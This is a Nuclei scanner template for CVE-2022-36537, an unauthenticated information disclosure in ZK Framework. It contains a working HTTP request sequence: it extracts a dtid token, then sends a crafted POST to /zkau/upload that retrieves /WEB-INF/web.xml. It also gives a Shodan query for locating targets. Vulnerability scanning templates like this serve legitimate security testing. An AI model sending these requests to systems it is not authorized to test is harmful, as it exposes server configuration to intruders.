nuclei-templates/cves/2022/CVE-2022-36537.yaml

66 lines
1.8 KiB
YAML

id: CVE-2022-36537
info:
name: ZK Framework v9.6.1, 9.6.0.1, 9.5.1.3, 9.0.1.2 and 8.6.4.1 - Sensitive Information Disclosure
author: theamanrawat
severity: high
description: |
ZK Framework v9.6.1, 9.6.0.1, 9.5.1.3, 9.0.1.2 and 8.6.4.1 allows attackers to access sensitive information via a crafted POST request sent to the component AuUploader.
reference:
- https://github.com/Malwareman007/CVE-2022-36537/
- https://nvd.nist.gov/vuln/detail/CVE-2022-36537
- https://tracker.zkoss.org/browse/ZK-5150
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2022-36537
cwe-id: CWE-200
metadata:
shodan-query: http.title:"Server backup manager"
verified: "true"
tags: cve,cve2022,zk-framework,exposure,unauth
requests:
- raw:
- |
GET /login.zul HTTP/1.1
Host: {{Hostname}}
- |
POST /zkau/upload?uuid=101010&dtid={{dtid}}&sid=0&maxsize=-1 HTTP/1.1
Host: {{Hostname}}
Accept-Encoding: gzip, deflate
Accept: */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryCs6yB0zvpfSBbYEp
Content-Length: 154
------WebKitFormBoundaryCs6yB0zvpfSBbYEp
Content-Disposition: form-data; name="nextURI"
/WEB-INF/web.xml
------WebKitFormBoundaryCs6yB0zvpfSBbYEp--
cookie-reuse: true
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "<display-name>.*</display-name>"
- "<welcome-file-list>((.|\n)*)welcome-file-list>"
- "xml version"
- "web-app"
condition: and
- type: status
status:
- 200
extractors:
- type: regex
name: dtid
group: 1
regex:
- "dt:'(.*?)',cu:"
internal: true